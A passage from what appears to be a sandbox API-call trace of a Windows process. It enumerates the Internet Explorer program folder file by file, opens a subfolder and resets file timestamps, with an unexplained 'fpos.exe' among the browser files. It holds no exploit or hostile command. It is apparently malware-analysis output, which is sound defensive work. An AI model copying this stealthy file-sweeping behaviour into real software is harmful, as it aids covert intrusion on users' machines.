ftLastWriteTime.dwLowDateTime=0x128b8182, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x800, dwReserved0=0x0, dwReserved1=0x0, cFileName="jsdebuggeride.dll.mui", cAlternateFileName="")) returned 1 [0070.423] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x128de43b, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x12aa84e7, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x128de43b, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x800, dwReserved0=0x0, dwReserved1=0x0, cFileName="JSProfilerCore.dll.mui", cAlternateFileName="")) returned 1 [0070.423] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x128de43b, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x12aa84e7, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x128de43b, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="jsprofilerui.dll.mui", cAlternateFileName="")) returned 1 [0070.423] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x128de43b, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x12aa84e7, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x128de43b, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="jsprofilerui.dll.mui", cAlternateFileName="")) returned 0 [0070.423] GetLastError () returned 0x12 [0070.424] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Internet Explorer\\en-US\\*", fInfoLevelId=0x1, lpFindFileData=0x119f20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119f20c) returned 0x2e9100 [0070.424] FindClose (in: hFindFile=0x2e9080 | out: hFindFile=0x2e9080) returned 1 [0070.424] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ead9a68, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ead9a68, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0070.424] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x128b8182, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x12aa84e7, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x128b8182, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="hmmapi.dll.mui", cAlternateFileName="")) returned 1 [0070.424] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x128b8182, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x12aa84e7, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x128b8182, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0x0, dwReserved1=0x0, cFileName="iedvtool.dll.mui", cAlternateFileName="")) returned 1 [0070.424] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x128de43b, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x12aa84e7, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x128de43b, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x800, dwReserved0=0x0, dwReserved1=0x0, cFileName="ieinstal.exe.mui", cAlternateFileName="")) returned 1 [0070.424] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x128de43b, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x12aa84e7, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x128de43b, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x800, dwReserved0=0x0, dwReserved1=0x0, cFileName="ielowutil.exe.mui", cAlternateFileName="")) returned 1 [0070.424] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe647cb96, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xe647cb96, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0xe45e4000, ftLastWriteTime.dwHighDateTime=0x1ca042a, nFileSizeHigh=0x0, nFileSizeLow=0x1400, dwReserved0=0x0, dwReserved1=0x0, cFileName="iexplore.exe.mui", cAlternateFileName="")) returned 1 [0070.424] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x128b8182, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x12aa84e7, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x128b8182, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x2e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="jsdbgui.dll.mui", cAlternateFileName="")) returned 1 [0070.424] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x128b8182, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x12aa84e7, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x128b8182, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x800, dwReserved0=0x0, dwReserved1=0x0, cFileName="jsdebuggeride.dll.mui", cAlternateFileName="")) returned 1 [0070.424] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x128de43b, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x12aa84e7, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x128de43b, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x800, dwReserved0=0x0, dwReserved1=0x0, cFileName="JSProfilerCore.dll.mui", cAlternateFileName="")) returned 1 [0070.424] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x128de43b, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x12aa84e7, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x128de43b, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="jsprofilerui.dll.mui", cAlternateFileName="")) returned 1 [0070.424] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x128de43b, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x12aa84e7, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x128de43b, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="jsprofilerui.dll.mui", cAlternateFileName="")) returned 0 [0070.424] GetLastError () returned 0x12 [0070.424] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed610) returned 1 [0070.424] FindClose (in: hFindFile=0x2e9100 | out: hFindFile=0x2e9100) returned 1 [0070.425] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebe28) returned 1 [0070.425] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebeb0) returned 1 [0070.425] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe7eeaa50, ftCreationTime.dwHighDateTime=0x1d5a2eb, ftLastAccessTime.dwLowDateTime=0x4d285f50, ftLastAccessTime.dwHighDateTime=0x1d59c17, ftLastWriteTime.dwLowDateTime=0x4d285f50, ftLastWriteTime.dwHighDateTime=0x1d59c17, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="fpos.exe", cAlternateFileName="")) returned 1 [0070.425] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5f55643f, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x5f55643f, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x23ff2d20, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0xce00, dwReserved0=0x0, dwReserved1=0x0, cFileName="hmmapi.dll", cAlternateFileName="")) returned 1 [0070.425] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb9a30bbb, ftCreationTime.dwHighDateTime=0x1c9ea0a, ftLastAccessTime.dwLowDateTime=0xb9a30bbb, ftLastAccessTime.dwHighDateTime=0x1c9ea0a, ftLastWriteTime.dwLowDateTime=0xb9a30bbb, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xa59, dwReserved0=0x0, dwReserved1=0x0, cFileName="ie8props.propdesc", cAlternateFileName="")) returned 1 [0070.425] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa37b6f98, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa37b6f98, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa37b6f98, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x1e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="iecompat.dll", cAlternateFileName="")) returned 1 [0070.425] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa37b6f98, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa37b6f98, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa37dd0f9, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xf7600, dwReserved0=0x0, dwReserved1=0x0, cFileName="iedvtool.dll", cAlternateFileName="")) returned 1 [0070.425] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa357baf4, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa357baf4, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa357baf4, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x41e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="ieinstal.exe", cAlternateFileName="")) returned 1 [0070.425] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdecd4578, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0xdecd4578, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0xe3cb04e0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x1c400, dwReserved0=0x0, dwReserved1=0x0, cFileName="ielowutil.exe", cAlternateFileName="")) returned 1 [0070.425] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa3803259, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa3803259, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa3803259, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x6e200, dwReserved0=0x0, dwReserved1=0x0, cFileName="ieproxy.dll", cAlternateFileName="")) returned 1 [0070.425] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa357baf4, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa357baf4, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa357baf4, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x47a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="IEShims.dll", cAlternateFileName="")) returned 1 [0070.425] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa387567a, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa387567a, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa387567a, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xa9b10, dwReserved0=0x0, dwReserved1=0x0, cFileName="iexplore.exe", cAlternateFileName="")) returned 1 [0070.425] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa3686496, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa3686496, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa36ac5f7, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x7b600, dwReserved0=0x0, dwReserved1=0x0, cFileName="jsdbgui.dll", cAlternateFileName="")) returned 1 [0070.425] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe54abd0a, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0xe54abd0a, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x2b495380, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x23600, dwReserved0=0x0, dwReserved1=0x0, cFileName="jsdebuggeride.dll", cAlternateFileName="")) returned 1 [0070.425] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe41a0e8a, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0xe41a0e8a, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x2b4b9d70, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x20400, dwReserved0=0x0, dwReserved1=0x0, cFileName="JSProfilerCore.dll", cAlternateFileName="")) returned 1 [0070.425] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa36ac5f7, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa36ac5f7, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa36ac5f7, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x46400, dwReserved0=0x0, dwReserved1=0x0, cFileName="jsprofilerui.dll", cAlternateFileName="")) returned 1 [0070.425] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x825d0f8, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0x825d0f8, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0x5909b005, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x579f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdbg2.dll", cAlternateFileName="")) returned 1 [0070.425] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x594eb7ab, ftCreationTime.dwHighDateTime=0x1c9ea0a, ftLastAccessTime.dwLowDateTime=0x594eb7ab, ftLastAccessTime.dwHighDateTime=0x1c9ea0a, ftLastWriteTime.dwLowDateTime=0x439e9300, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x83200, dwReserved0=0x0, dwReserved1=0x0, cFileName="pdm.dll", cAlternateFileName="")) returned 1 [0070.425] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x98d1a336, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x98d1a336, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SIGNUP", cAlternateFileName="")) returned 1 [0070.426] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Internet Explorer\\SIGNUP" (normalized: "c:\\program files\\internet explorer\\signup"), fInfoLevelId=0x0, lpFileInformation=0x119f3c0 | out: lpFileInformation=0x119f3c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x98d1a336, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x98d1a336, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0070.426] CreateFileW (lpFileName="C:\\Program Files\\Internet Explorer\\SIGNUP" (normalized: "c:\\program files\\internet explorer\\signup"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x16c [0070.426] SetFileTime (hFile=0x16c, lpCreationTime=0x0, lpLastAccessTime=0x119f404, lpLastWriteTime=0x119f404) returned 0 [0070.426] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0xa25480 [0070.426] DeviceIoControl (in: hDevice=0x16c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xa25480, nOutBufferSize=0x4000, lpBytesReturned=0x119f45c, lpOverlapped=0x0 | out: lpOutBuffer=0xa25480, lpBytesReturned=0x119f45c, lpOverlapped=0x0) returned 0 [0070.426] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa25480) returned 1 [0070.426] NtClose (Handle=0x16c) returned 0x0 [0070.426] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebeb0) returned 1 [0070.426] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebeb0 [0070.426] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebe28 [0070.426] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed610 [0070.426] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Internet Explorer\\SIGNUP\\*", fInfoLevelId=0x1, lpFindFileData=0x119f20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119f20c) returned 0x2e9100 [0070.427] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x98d1a336, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x98d1a336, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0070.427] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80471418, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xf22307c6, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xf22307c6, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x1cc, dwReserved0=0x0, dwReserved1=0x0, cFileName="install.ins", cAlternateFileName="")) returned 1 [0070.427] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed698 [0070.427] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed698) returned 1 [0070.427] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed698 [0070.427] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed698) returned 1 [0070.427] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ed698 [0070.427] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa20610 [0070.427] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa25498 [0070.427] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed698) returned 1 [0070.427] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80471418, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xf22307c6, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xf22307c6, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x1cc, dwReserved0=0x0, dwReserved1=0x0, cFileName="install.ins", cAlternateFileName="")) returned 0 [0070.427] GetLastError () returned 0x12 [0070.427] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Internet Explorer\\SIGNUP\\*", fInfoLevelId=0x1, lpFindFileData=0x119f20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119f20c) returned 0x2e9080 [0070.427] FindClose (in: hFindFile=0x2e9100 | out: hFindFile=0x2e9100) returned 1 [0070.427] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x98d1a336, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x98d1a336, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0070.427] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80471418, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xf22307c6, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xf22307c6, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x1cc, dwReserved0=0x0, dwReserved1=0x0, cFileName="install.ins", cAlternateFileName="")) returned 1 [0070.427] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80471418, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xf22307c6, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xf22307c6, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x1cc, dwReserved0=0x0, dwReserved1=0x0, cFileName="install.ins", cAlternateFileName="")) returned 0 [0070.427] GetLastError () returned 0x12 [0070.427] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed610) returned 1 [0070.427] FindClose (in: hFindFile=0x2e9080 | out: hFindFile=0x2e9080) returned 1 [0070.428] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebe28) returned 1 [0070.428] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebeb0) returned 1 [0070.428] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x855fc7e1, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x855fc7e1, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x85622942, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x3bc00, dwReserved0=0x0, dwReserved1=0x0, cFileName="sqmapi.dll", cAlternateFileName="")) returned 1 [0070.428] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x855fc7e1, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x855fc7e1, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x85622942, 